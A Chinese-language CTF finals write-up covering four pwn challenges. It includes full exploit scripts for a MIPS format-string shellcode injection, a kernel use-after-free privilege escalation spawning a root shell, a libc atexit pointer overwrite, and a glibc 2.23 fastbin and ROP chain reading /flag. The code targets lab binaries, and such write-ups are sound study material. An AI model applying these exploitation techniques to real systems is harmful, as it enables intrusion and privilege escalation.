NOTE
AK 了。
令人感叹,决赛还是要面对渗透赛。不过这次还有 AWDP 赛道,不至于像羊城杯那么坐牢。
附件在我的 github 仓库里可以找到: ctf-writeup-collection
mips_fmt
mips 32 位大端的题,有无限循环的格式化字符串,也就意味着可以无限构造 payload,因此这就变成一道编程题:
- 先实现格式化字符串向栈上写入数据的能力;
- 再把 shellcode 布置到栈上,同时改写返回地址。
Important
这里是因为 mips 没有实现 NX 的能力,所以栈也是可执行的。在测试格式化字符串的过程中可以注意到,mips32 函数的前四个参数依次放在 A0、A1、A2、A3 寄存器中,剩下的放在栈上。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
from lianpwn import *
# io = process(["qemu-mips", "-g", "12345", "pwn"])
# io = process(["qemu-mips", "pwn"])
io = remote("192.168.18.27", 9999)
elf = ELF("./pwn")
context.log_level = "debug"
context.arch = "mips"
context.endian = "big"
context.bits = 32
context.terminal = ["tmux", "sp", "-h", "-l", "140"]
def ru(a, drop=False):
return io.recvuntil(a, drop)
rl = lambda a=False: io.recvline(a)
rn = lambda x: io.recvn(x)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda a, b: io.sendafter(a, b)
sla = lambda a, b: io.sendlineafter(a, b)
ia = lambda: io.interactive()
dbg = lambda text=None: gdb.attach(io, text)
i2b = lambda c: str(c).encode()
u32_ex = lambda data: u32(data.ljust(4, b"\x00"))
u64_ex = lambda data: u64(data.ljust(8, b"\x00"))
class strFmt_new:
def __init__(self):
self.current_n = 0
def generate_hhn_payload(self, distance, hhn_data):
hhn_data = hhn_data & 0xFF
offset = (distance // 4) + 6
if hhn_data > self.current_n:
temp = hhn_data - self.current_n
elif hhn_data < self.current_n:
temp = 0x100 - self.current_n + hhn_data
elif hhn_data == self.current_n:
return b"%" + i2b(offset) + b"$hhn"
self.current_n = hhn_data
return b"%" + i2b(temp) + b"c%" + i2b(offset) + b"$hhn"
# a1, a2, a3, sp+0x10...
ru(b">> \n")
payload = b"%p."
s(payload)
stack_base = int(ru(b".", drop=True), 16)
lg("stack_base", stack_base)
def change_word(offset, one_2B_data):
fmt = strFmt_new()
ru(b">> \n")
payload = fmt.generate_hhn_payload(0x18, (one_2B_data >> 8) & 0xFF)
payload += fmt.generate_hhn_payload(0x1C, one_2B_data & 0xFF)
lg("len(payload)", len(payload))
assert len(payload) <= 0x20 - 0x8
payload = payload.ljust(0x20 - 0x8, b"\x00")
payload += p32(stack_base + offset)
payload += p32(stack_base + offset + 1)
s(payload)
def construct_ROP(off, one_4B_data):
change_word(off * 4 + 0x24, (one_4B_data >> 16) & 0xFFFF)
change_word(off * 4 + 0x24 + 2, one_4B_data & 0xFFFF)
shellcode = asm(shellcraft.sh()) + asm("nop")
shellcode_list = [u32((shellcode[k * 4 :])[:4]) for k in range(len(shellcode) // 4)]
print(shellcode_list)
construct_ROP(0, stack_base + 0x28)
for x in range(len(shellcode_list)):
construct_ROP(x + 1, shellcode_list[x])
ru(b">> \n")
sl(b"exit")
ia()
# 4c87688354a546ecadd6d437b60306a5
kernel-network
INFO
虽然一次比一次抽象,不过也算是我连续第三场比赛 AK kernel 题。
拿到题发现 HRPUAF.ko
之外还有个 net.ko
,前者逻辑很直接,直白的 UAF。
net.ko
里面比较奇怪,因为发送原始网络包通常需要 root 权限,因此可以把它理解成 readflag
,和利用没什么关系。
可以先写个简单的 getflag.c:
// get flag
#include <arpa/inet.h>
#include <errno.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <netinet/in.h>
#include <netpacket/packet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#define ETH_HDRLEN 14
int main(int argc, char *argv[]) {
int sockfd;
struct ifreq if_idx;
struct ifreq if_mac;
char if_name[IFNAMSIZ];
char sendbuf[60]; // 最小以太网帧长度为60字节
struct ether_header *eh = (struct ether_header *)sendbuf;
struct sockaddr_ll socket_address;
int frame_length = 60; // 发送帧的总长度
// 检查命令行参数
if (argc != 2) {
fprintf(stderr, "Usage: %s <interface>\n", argv[0]);
exit(EXIT_FAILURE);
}
strncpy(if_name, argv[1], IFNAMSIZ - 1);
if_name[IFNAMSIZ - 1] = '\0';
// 打开原始套接字
if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
// 获取接口索引
memset(&if_idx, 0, sizeof(struct ifreq));
strncpy(if_idx.ifr_name, if_name, IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
close(sockfd);
exit(EXIT_FAILURE);
}
// 获取接口的 MAC 地址
memset(&if_mac, 0, sizeof(struct ifreq));
strncpy(if_mac.ifr_name, if_name, IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFHWADDR, &if_mac) < 0) {
perror("SIOCGIFHWADDR");
close(sockfd);
exit(EXIT_FAILURE);
}
// 构造以太网头部
// 目标 MAC 地址:广播地址
memset(eh->ether_dhost, 0xff, ETH_ALEN);
// 源 MAC 地址:使用接口的 MAC 地址
memcpy(eh->ether_shost, if_mac.ifr_hwaddr.sa_data, ETH_ALEN);
// Ethertype:0x0800(IPv4)
eh->ether_type = htons(0x0800);
// 构造负载
memset(sendbuf + ETH_HDRLEN, 0x00,
frame_length - ETH_HDRLEN); // 初始化负载为0
// 设置特定字节以满足后门条件
// 注意:索引从0开始,整个帧的字节0-13为以太网头部,14开始为负载
// 需要设置的字节位置相对于整个帧:
// data[30] = 0xC0 --> sendbuf[30]
// data[31] = 0xA8 --> sendbuf[31]
// data[32] = 123 --> sendbuf[32]
// data[33] = 1 --> sendbuf[33]
// data[38] = 82 --> sendbuf[38]
// data[39] = 0xBF --> sendbuf[39]
// data[40] = 1 --> sendbuf[40]
// 检查帧长度是否足够
if (frame_length < 41) {
fprintf(stderr, "Frame length too short. Must be at least 41 bytes.\n");
close(sockfd);
exit(EXIT_FAILURE);
}
// 设置特定字节
sendbuf[30] = 0xC0; // data[30]
sendbuf[31] = 0xA8; // data[31]
sendbuf[32] = 123; // data[32]
sendbuf[33] = 1; // data[33]
sendbuf[38] = 82; // data[38]
sendbuf[39] = 0xBF; // data[39]
sendbuf[40] = 1; // data[40]
// 打印构造的帧内容(可选,用于调试)
printf("Constructed Ethernet Frame:\n");
for (int i = 0; i < frame_length; i++) {
printf("%02x ", (unsigned char)sendbuf[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
// 构造目标地址结构
memset(&socket_address, 0, sizeof(struct sockaddr_ll));
socket_address.sll_ifindex = if_idx.ifr_ifindex;
socket_address.sll_halen = ETH_ALEN;
// 目标 MAC 地址:广播地址
memset(socket_address.sll_addr, 0xff, ETH_ALEN);
// 发送帧
if (sendto(sockfd, sendbuf, frame_length, 0,
(struct sockaddr *)&socket_address,
sizeof(struct sockaddr_ll)) < 0) {
perror("sendto");
close(sockfd);
exit(EXIT_FAILURE);
}
printf("Ethernet frame sent successfully.\n");
close(sockfd);
return 0;
}
接下来打 LPE,直接参考上古入门题 babydriver 就行了(看到内核版本 4.4.72 就猜到是这种题了):
// exp.c
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int fd1 = open("/dev/test", 2);
int fd2 = open("/dev/test", 2);
ioctl(fd1, 0, 0xa8);
close(fd1);
int pid = fork();
if (pid < 0) {
exit(-1);
} else if (pid == 0) {
char buf[30] = {0};
write(fd2, buf, 28);
system("/bin/sh");
return 0;
} else {
wait(NULL);
}
return 0;
}
musl 静态编译上传后依次运行 ./lpe ; ./getflag virnet0
获得 flag。
cancanneed_new
这道题比较抽象,在 gift 功能中会将 libc 里的一段只读区域设置为可写的,可以通过爆破 + 调试找到其中在 exit 时会调用的函数指针,覆写为 one_gadget
实现利用。
Info
这里很麻烦的一点是 gift 函数里限时 10 秒,但是交互 1000 次需要不少时间,远程总是差一点,跑很多遍终于出来了
实际上这里打的是 __elf_set___libc_atexit_element__IO_cleanup__
函数指针,原先这里存放的是 _IO_cleanup
函数地址,覆盖后可以在 exit
时调用任意地址:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from pwn import *
io = remote("192.168.18.21", 9999)
# io = process("./pwn")
context.log_level = "info"
def ru(a, drop=False):
return io.recvuntil(a, drop)
lg = lambda s_name, s_val: print("\033[1;31;40m %s --> 0x%x \033[0m" % (s_name, s_val))
rl = lambda a=False: io.recvline(a)
rn = lambda x: io.recvn(x)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda a, b: io.sendafter(a, b)
sla = lambda a, b: io.sendlineafter(a, b)
ia = lambda: io.interactive()
dbg = lambda text=None: gdb.attach(io, text)
i2b = lambda c: str(c).encode()
u32_ex = lambda data: u32(data.ljust(4, b"\x00"))
u64_ex = lambda data: u64(data.ljust(8, b"\x00"))
def cmd(choice):
ru(b"Your Choice: \n")
sl(i2b(choice))
def win_gift():
cmd(666)
ru(b"But,you have to win it by yourself\n")
sl(i2b(1))
for i in range(1000):
res = eval(ru(b"= ?", drop=True))
sl(i2b(res))
if i % 100 == 0:
lg(b"i", i)
ru(b"Now,you have earned your award!\n")
def add(size, data):
cmd(1)
ru(b"please tell me how much you want to have:\n")
sl(i2b(size))
ru(b"Content:\n")
s(data)
def delet(idx):
cmd(2)
ru(b"Please give me idx:\n")
sl(i2b(idx))
def edit(idx, data):
cmd(3)
ru(b"Please give me idx:\n")
sl(i2b(idx))
ru(b"What do you want?\n")
s(data)
def show(idx):
cmd(4)
ru(b"Please give me idx:\n")
sl(i2b(idx))
for i in range(8):
add(0x90, b"a")
add(0x90, b"b")
for i in range(8):
delet(i)
show(7)
ru(b"info:\n")
libc_base = u64_ex(ru(b"\n", drop=True)) - 0x1ECBE0
lg("libc_base", libc_base)
edit(6, p64(libc_base + 0x1E9000 - 0x80 * 15))
add(0x90, b"a")
win_gift()
one_hook = libc_base + 0xE3AFE
lg("one_hook", one_hook)
add(0x90, p64(libc_base + 0xE3AFE) * (0x88 // 8))
cmd(5)
sl(b"cat /flag")
ia()
stack_and_heap
上古 2.23 的 UAF 题,malloc hook 的利用很简单,后面要找个 gadget 回到栈上事先布置好的地方打 ROP,注意还要用 openat 绕过对 open 的限制:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from lianpwn import *
from pwncli import *
cli_script()
set_remote_libc("libc.so.6")
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
ru(b"egarots esreveR\n")
pop_rdi_ret = 0x0000000000400E53
pop_rbp_ret = 0x00000000004007D8
pop_rsi_2_ret = 0x0000000000400E51
leave_ret = 0x0000000000400954
getN = 0x400956
payload = flat(
[
pop_rdi_ret,
0,
pop_rsi_2_ret,
0x602400,
0,
elf.sym.read,
pop_rbp_ret,
0x602400,
leave_ret,
]
)
sl(payload)
def cmd(choice):
ru(b">>eciohc ruoy\n")
sl(i2b(choice))
def add(size, data):
cmd(1)
ru(b"?ezis\n")
sl(i2b(size))
ru(b"egarots esreveR\n")
sl(data)
def show(idx):
cmd(2)
ru(b"?xedni\n")
sl(i2b(idx))
def delet(idx):
cmd(3)
ru(b"?xedni\n")
sl(i2b(idx))
add(0x100, b"7")
add(0x100, b"6")
delet(7)
show(7)
ru(b"?ereh\n")
libc_base = u64_ex(ru(b"\n", drop=True)) - 0x3C4B78
assert libc_base > 0
lg("libc_base", libc_base)
fake_fast = libc_base + 0x3C4AED
add(0x60, b"5")
add(0x60, b"4")
add(0x60, b"3")
delet(5)
delet(4)
delet(5)
add(0x60, p64(fake_fast))
add(0x60, b"a")
add(0x60, b"a")
add_rsp_38_ret = libc_base + 0x000000000012B98A
add(0x60, b"a" * 0x13 + p64(add_rsp_38_ret))
cmd(1)
ru(b"?ezis\n")
sl(i2b(10))
pop_rdx_ret = libc_base + 0x0000000000001B92
payload = flat(
[
0x602400,
pop_rdx_ret,
0x1000,
elf.plt.read,
]
)
s(payload)
pop_rsi_ret = libc_base + 0x00000000000202F8
pop_rax_ret = libc_base + 0x000000000003A738
syscall_ret = libc_base + 0xBC3F5
payload = flat(
{
0x00: b"/flag\x00",
0x20: [
pop_rdi_ret,
0,
pop_rsi_ret,
0x602400,
pop_rdx_ret,
0,
pop_rax_ret,
257,
syscall_ret,
pop_rdi_ret,
3,
pop_rdx_ret,
0x100,
pop_rax_ret,
0,
syscall_ret,
pop_rdi_ret,
1,
pop_rax_ret,
1,
syscall_ret,
],
}
)
debugB()
s(payload)
ia()
# 3abdd3b740284283954b25cbb29eeeb4